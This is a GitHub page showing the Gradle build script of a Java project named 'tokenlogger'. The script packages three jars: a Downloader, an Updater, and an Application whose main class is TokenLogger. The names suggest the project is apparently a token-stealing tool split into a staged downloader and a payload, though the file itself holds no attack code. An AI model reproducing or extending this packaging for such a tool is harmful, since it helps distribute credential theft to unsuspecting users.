-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathbuild.gradle
More file actions
82 lines (75 loc) · 2.21 KB
/
build.gradle
File metadata and controls
82 lines (75 loc) · 2.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.github.jengelman.gradle.plugins.shadow.tasks.ShadowJar
plugins {
id 'java'
id 'com.github.johnrengelman.shadow' version '8.1.1'
}
repositories {
mavenCentral()
}
sourceSets {
main {
java {
srcDirs += ['src/main/java/']
}
}
}
dependencies {
implementation 'com.fasterxml.jackson.core:jackson-databind:2.15.2'
implementation 'net.java.dev.jna:jna-platform:5.13.0'
implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.11'
implementation 'com.github.vatbub:mslinks:1.0.5'
}
task updaterJar (type: ShadowJar) {
archiveBaseName.set 'Updater'
archiveVersion.set ''
archiveClassifier.set ''
dependsOn compileJava
from sourceSets.main.output
exclude '**/tokenlogger/TokenLogger.class'
exclude '**/downloader'
exclude '**/tokenlogger/utils/EmbedGenerator.class'
exclude '**/tokenlogger/utils/PathHelper.class'
project.configurations.implementation.canBeResolved = true
configurations = [project.configurations.implementation]
dependencies {
exclude '/com/sun/jna/'
}
manifest {
attributes 'Main-Class' : 'tokenlogger.updater.Updater'
}
}
task downloaderJar (type: ShadowJar) {
archiveBaseName.set 'Downloader'
archiveVersion.set ''
archiveClassifier.set ''
dependsOn compileJava
from sourceSets.main.output
exclude '**/tokenlogger/'
exclude '**/EmbedTemplate.json'
project.configurations.implementation.canBeResolved = true
configurations = [project.configurations.implementation]
dependencies {
exclude '/com/'
exclude '/kotlin/'
exclude '/okhttp3/'
exclude '/okio/'
exclude '/org/'
}
manifest {
attributes 'Main-Class' : 'downloader.Downloader'
}
}
task applicationJar (type: ShadowJar) {
archiveBaseName.set 'Application'
archiveVersion.set ''
archiveClassifier.set ''
dependsOn compileJava
from sourceSets.main.output
exclude '**/downloader'
exclude '**/tokenlogger/updater'
project.configurations.implementation.canBeResolved = true
configurations = [project.configurations.implementation]
manifest {
attributes 'Main-Class' : 'tokenlogger.TokenLogger'
}
}